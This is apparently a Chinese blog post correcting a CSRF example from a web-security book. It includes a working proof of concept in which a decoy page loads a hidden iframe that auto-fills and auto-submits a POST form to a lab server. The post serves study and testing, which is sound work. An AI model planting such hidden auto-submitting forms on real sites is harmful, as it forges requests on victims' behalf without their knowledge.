最近重溫《白帽子講web安全》一書,看到第4章CSRF的時候,發現有個錯誤的地方,第116頁底部的代碼中有個坑,那段代碼是運行不了的。原因是在form表單中有個<input type=submit name="submit" value="submit">,因為name="submit"會和js代碼中的f.submit()沖突,導致f.submit()的方法執行不了。
最后自己改了下代碼做了下實驗
fake.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>CSRF 1</title> 6 </head> 7 <body> 8 <div> 9 hello 10 </div> 11 <iframe src="./csrf.html" frameborder="0" hidden="hidden"></iframe> 12 </body> 13 </html>
CSRF.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <title>CSRF</title> 6 </head> 7 <body> 8 <form action="http://192.168.1.188/mycode/csrf.php" id="test" method="POST"> 9 <input type="text" name="user"><br> 10 <input type="text" name="pass"> 11 12 </form> 13 </body> 14 <script> 15 var f=document.getElementById("test"); 16 f.getElementsByTagName("input")[0].value="user"; 17 f.getElementsByTagName("input")[1].value="pass"; 18 f.submit(); 19 </script> 20 </html>
在firebug中查看網絡數據包可以看到POST成功